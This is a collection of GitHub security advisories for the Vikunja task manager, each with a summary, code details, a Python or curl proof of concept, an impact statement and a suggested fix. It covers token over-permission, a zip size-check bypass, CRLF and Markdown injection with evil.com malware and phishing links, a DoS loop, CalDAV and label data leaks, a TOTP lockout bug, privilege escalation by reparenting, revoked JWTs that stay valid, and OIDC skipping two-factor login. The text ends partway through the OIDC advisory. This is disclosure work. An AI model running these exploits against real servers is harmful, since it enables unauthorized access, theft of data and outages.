I confirmed this locally with three validations: 1. /api/v1/routes advertises both background and backgrounddelete. 2. The matcher unit test proves CanDoAPIRoute() accepts DELETE for background. 3. The webtest proves a real API token with only background successfully deletes the background.

Impact

Scoped API tokens can exceed their intended capability. A token intended for project background access can delete project backgrounds, which weakens the trust model for automation and third-party integrations that rely on narrowly scoped tokens.

The attacker needs a valid API token created by a user who has update rights on the target project, but the token itself only needs the weaker projects.background permission.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.

Details

During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/createfromstructure.go:406 passes the attacker-controlled File.Size from the JSON:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)

The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:

go if realsize > config.GetMaxFileSizeInMBytes()uint64(datasize.MB) && checkFileSizeLimit {

With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.

Proof of Concept

Tested on Vikunja v2.2.2 with default maxfilesize: 20MB.

python import zipfile, io, json, requests

TARGET = "http://localhost:3456" token = requests.post(f"{TARGET}/api/v1/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}"}

Craft zip with forged Size=0 in JSON but 25MB actual content largecontent = b"A" (25 1024 1024) # 25MB data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{ "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"}, "created": "2026-01-01T00:00:00Z"}]}]}]

zipbuf = io.BytesIO() with zipfile.ZipFile(zipbuf, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr("VERSION", "2.2.2") zf.writestr("data.json", json.dumps(data)) zf.writestr("large.bin", largecontent)

resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate", headers=h, files={"import": ("export.zip", zipbuf.getvalue(), "application/zip")})

Output: HTTP 200: {"message": "Everything was migrated successfully."} 25MB file stored despite 20MB server limit.

Impact

An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.

Recommended Fix

Use the actual content length instead of the attacker-controlled Size field:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
4.1
CRLF Injection, SQL Injection
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

Summary

The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

go SUMMARY: + t.Summary + getCaldavColor(t.Color)

RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.

Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

create task with CRLF injection in title task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned" }).json()

set UID (normally done by CalDAV sync; here via sqlite for PoC) sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};" TASKUID = "inject-test-001"

fetch via CalDAV caldavtoken = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"] r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASKUID}.ics", auth=HTTPBasicAuth("alice", caldavtoken)) print(r.text)

Output: BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:inject-test-001 DTSTAMP:20260327T130452Z SUMMARY:Meeting ATTACH:https://evil.com/malware.exe X-INJECTED:pwned CREATED:20260327T130452Z LAST-MODIFIED:20260327T130452Z END:VTODO END:VCALENDAR

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

Impact

An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables: - Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display - Creating fake alarm notifications (VALARM) for social engineering - Spoofing organizer identity (ORGANIZER)

Recommended Fix

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

go func escapeICal(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, ";", "\\;") s = strings.ReplaceAll(s, ",", "\\,") s = strings.ReplaceAll(s, "\n", "\\n") s = strings.ReplaceAll(s, "\r", "") return s }

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.

Details

The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:

go overdueLine += + task.Title + + "tasks/" + strconv.FormatInt(task.ID, 10) + ) ...

The task title is placed inside Markdown link syntax TITLE. A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mailrender.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.

The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.

Proof of Concept

Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).

python import requests

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()

create task with markdown injection in title + past due date requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": 'test](https://evil.com) [Click to verify your account', "duedate": "2026-03-26T00:00:00Z"})

create task with tracking pixel injection requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": '!', "duedate": "2026-03-26T00:00:00Z"})

enable overdue reminders for the user requests.post(f"{API}/user/settings/general", headers=h, json={ "emailremindersenabled": True, "overduetasksremindersenabled": True, "overduetasksreminderstime": "09:00"})

wait for the overdue notification cron to fire, then inspect the email

The overdue notification email HTML contains: html <li> <a href="https://evil.com">test</a> <a href="http://vikunja.example/tasks/5">Click to verify your account</a> (Shared), since one day </li> <li> <a href="http://vikunja.example/tasks/6"> <img src="https://evil.com/track.png?user=bob"> </a> (Shared), since one day </li>

The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.

Impact

An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.

Recommended Fix

Escape Markdown special characters in task titles before embedding them in Markdown content:

go func escapeMarkdown(s string) string { replacer := strings.NewReplacer( "[", "\\[", "]", "\\]", "(", "\\(", ")", "\\)", "!", "\\!", "", "\\", "", "\\", "", "\\", "#", "\\#", ) return replacer.Replace(s) }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

go func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time { for { t = t.Add(duration) if t.After(now) { break } } return t }

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeatafter=1 and duedate=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests, time

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

create task with repeatafter=1 second and a date far in the past task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={"title": "DoS", "repeatafter": 1, "duedate": "1900-01-01T00:00:00Z"}).json()

mark done - triggers the vulnerable loop start = time.time() try: r = requests.post(f"{API}/tasks/{task['id']}", headers=h, json={"title": "DoS", "done": True}, timeout=120) print(f"Response: {r.statuscode} in {time.time()-start:.1f}s") except requests.exceptions.Timeout: print(f"TIMEOUT after {time.time()-start:.1f}s")

Output: TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, duedate=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

go func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time { if duration <= 0 { return t } diff := now.Sub(t) if diff <= 0 { return t.Add(duration) } intervals := int64(diff/duration) + 1 return t.Add(time.Duration(intervals) duration) }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

The CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.

Details

GetTasksByUIDs at pkg/models/tasks.go:376-393 performs a global database query with no authorization check:

go func GetTasksByUIDs(s xorm.Session, uids []string, a web.Auth) (tasks []Task, err error) { tasks = []Task{} err = s.In("uid", uids).Find(&tasks) // ... }

The web.Auth parameter is accepted but never used for permission filtering. This function is called by: - GetResource at pkg/routes/caldav/listStorageProvider.go:266 (CalDAV GET) - GetResourcesByList at pkg/routes/caldav/listStorageProvider.go:199 (CalDAV REPORT multiget)

All other CalDAV operations enforce authorization: CreateResource checks CanCreate(), UpdateResource checks CanUpdate(), DeleteResource checks CanDelete(). Only the read operations skip authorization.

The project ID in the CalDAV URL is ignored. A request to /dav/projects/{attackerproject}/{victimtaskuid}.ics returns the victim's task regardless of which project ID is in the path.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

alicetoken = login("alice", "Alice1234!") bobtoken = login("bob", "Bob12345!")

alice creates private project and task proj = requests.put(f"{API}/projects", headers=h(alicetoken), json={"title": "Private"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alicetoken), json={"title": "Secret CEO salary 500k"}).json()

task UID must be set (normally done by CalDAV sync; here via sqlite for PoC) sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};" TASKUID = "test-uid-001"

bob tries REST API r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bobtoken)) print(f"REST API: {r.statuscode}") # 403

bob gets CalDAV token caldavtoken = requests.put(f"{API}/user/settings/token/caldav", headers=h(bobtoken)).json()["token"]

bob reads alice's task via CalDAV (project ID in URL doesn't matter) r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASKUID}.ics", auth=HTTPBasicAuth("bob", caldavtoken)) print(f"CalDAV: {r.statuscode}") # 200 print(r.text) # contains SUMMARY:Secret CEO salary 500k

Output: REST API: 403 CalDAV: 200 BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:test-uid-001 SUMMARY:Secret CEO salary 500k DUE:20260401T000000Z END:VTODO END:VCALENDAR

The REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task.

Impact

An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries.

Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts.

Recommended Fix

Add a CanRead permission check on each returned task's project in both GetResource and GetResourcesByList:

go tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user) // ... for , t := range tasks { project := &models.Project{ID: t.ProjectID} can, , err := project.CanRead(s, vcls.user) if err != nil || !can { return nil, false, errs.ForbiddenError } }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

go if err != nil { if user2.IsErrInvalidTOTPPasscode(err) { user2.HandleFailedTOTPAuth(s, user) } = s.Rollback() return err }

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

python import requests, time, pyotp

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

setup: login, enroll and enable TOTP token = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!"}).json()["token"] secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"] totp = pyotp.TOTP(secret) requests.post(f"{API}/user/settings/totp/enable", headers=h(token), json={"passcode": totp.now()})

send 9 failed attempts (rate limit is 10/min) for i in range(1, 10): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold) time.sleep(65) for i in range(10, 13): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit, try with valid TOTP time.sleep(65) r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": totp.now()}) print(f"Valid TOTP login: {r.statuscode}") # 200 - account was never locked

Output: Attempt 1: 412 code=1017 ... Attempt 9: 412 code=1017 Attempt 10: 412 code=1017 Attempt 11: 412 code=1017 Attempt 12: 412 code=1017 Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

go // Use a new session so the lockout persists regardless of caller's rollback lockoutSession := db.NewSession() defer lockoutSession.Close() err = user.SetStatus(lockoutSession, StatusAccountLocked) if err != nil { = lockoutSession.Rollback() return } = lockoutSession.Commit()

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/labelpermissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where("labeltasks.labelid is not null OR labels.createdbyid = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll)

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while labeltasks.labelid IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

atoken = login("labeler", "Labeler123!") btoken = login("snooper", "Snooper123!")

labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(atoken), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(atoken), json={"title": "CONFIDENTIAL-REVENUE", "hexcolor": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(atoken), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(atoken), json={"labelid": label["id"]})

snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(btoken)) print(f"GET /labels/{label['id']}: {r.statuscode}") # 200 - should be 403 if r.statuscode == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['createdby']['username']}") # labeler

Output: GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler

Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("labeltasks.labelid is not null"), cond), builder.Eq{"labels.createdbyid": createdByID}, ), )). Exist(ll)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/projectpermissions.go:139-148 only requires CanWrite on the new parent project when changing parentprojectid. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } }

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parentprojectid":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404.

python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victimtoken = login("victim", "Victim123!") attackertoken = login("attacker", "Attacker123!") victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Secret Child", "parentprojectid": parent["id"]}).json()

victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victimtoken), json={"username": "attacker", "permission": 1})

attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attackertoken), json={"title": "Attacker Root"}).json()

before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE before reparent: {r.statuscode}") # 403

exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attackertoken), json={"title": "Secret Child", "parentprojectid": own["id"]}) print(f"Reparent: {r.statuscode}") # 200

after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE after reparent: {r.statuscode}") # 200 - escalated to Admin

victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victimtoken)) print(f"Victim access: {r.statuscode}") # 404 - project gone

Output: DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parentprojectid:

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Title Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade

Description

Vikunja's link share authentication constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl).

GetLinkShareFromClaims at pkg/models/linksharing.go lines 88-119 performs zero database queries — it builds the LinkSharing struct purely from JWT claim values (id, hash, projectid, permission, sharedByID). This struct is passed directly to permission checks:

| Function | File | Lines | DB queries | |----------|------|-------|------------| | GetLinkShareFromClaims | linksharing.go | 88-119 | 0 | | Project.CanRead (link share) | projectpermissions.go | 105-108 | 0 | | Project.CanWrite (link share) | projectpermissions.go | 50-53 | 0 | | Project.IsAdmin (link share) | projectpermissions.go | 192-194 | 0 |

Contrast with user tokens: User JWTs use a 10-minute TTL (ServiceJWTTTLShort) with sid claim and server-side sessions enabling revocation. Link share JWTs use a 72-hour TTL (ServiceJWTTTL) with no sid, no server-side session, and no refresh mechanism.

Permalink: - GetLinkShareFromClaims: pkg/models/linksharing.go:88-119 - NewLinkShareJWTAuthtoken: pkg/modules/auth/auth.go:141-160 - Permission checks: pkg/models/projectpermissions.go:50-53, 105-108, 192-194 - TTL defaults: pkg/config/config.go:337-339

PoC

bash 1. Create an Admin-level link share on project 42 curl -X PUT "https://vikunja.example.com/api/v1/projects/42/shares" \ -H "Authorization: Bearer <owner-jwt>" \ -H "Content-Type: application/json" \ -d '{"permission": 2}' Response: {"id": 5, "hash": "abc123", ...}

2. Obtain link share JWT (72h TTL, no sid claim) curl -X POST "https://vikunja.example.com/api/v1/shares/abc123/auth" Response: {"token": "<link-share-jwt>"}

3. Delete the link share curl -X DELETE "https://vikunja.example.com/api/v1/projects/42/shares/5" \ -H "Authorization: Bearer <owner-jwt>" 200 OK — share row removed from database

4. Use the deleted share's JWT — STILL WORKS for up to 72 hours curl -X GET "https://vikunja.example.com/api/v1/projects/42/tasks" \ -H "Authorization: Bearer <link-share-jwt>" 200 OK — full task list returned with Admin permissions

5. Permission downgrade variant: Delete Admin share → create Read-only share → old JWT still has Admin access

Impact

- Revoked link shares remain functional for up to 72 hours (default TTL) - Project owners cannot respond to security events (leaked URLs, access revocation) in real time - Permission downgrades have no effect on outstanding tokens - Scope: single project per token, severity scales with permission level (Admin > Write > Read)

Fix

Add database validation in GetLinkShareFromClaims:

go func GetLinkShareFromClaims(claims jwt.MapClaims) (share LinkSharing, err error) { id, is := claims["id"].(float64) if !is { return nil, &ErrLinkShareTokenInvalid{} } // Validate against database s := db.NewSession() defer s.Close() share, err = GetLinkShareByID(s, int64(id)) if err != nil { return nil, err // Share was deleted } // Verify permission not downgraded claimedPermission := Permission(claims["permission"].(float64)) if share.Permission < claimedPermission { return nil, &ErrLinkShareTokenInvalid{} } return share, nil }

Alternatives: shorter TTL with refresh mechanism, token blocklist, or session tracking matching user token pattern.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

go return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } , err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled

python import requests, re, html from urllib.parse import parseqs, urlparse

TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1"

verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.statuscode} code={r.json().get('code')}") Output: 412 code=1017 (TOTP required)

login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?clientid=vikunja" f"&redirecturi={TARGET}/auth/openid/dex" f"&responsetype=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"])"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allowredirects=False) approvalurl = DEX + r.headers["Location"] r = s.get(approvalurl) req = re.search(r'name="req" value="([^"])"', r.text).group(1) r = s.post(approvalurl, data={"req": req, "approval": "approve"}, allowredirects=False) code = parseqs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirecturl": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.statuscode}")

user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") TOTP was completely bypassed

Output: Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice

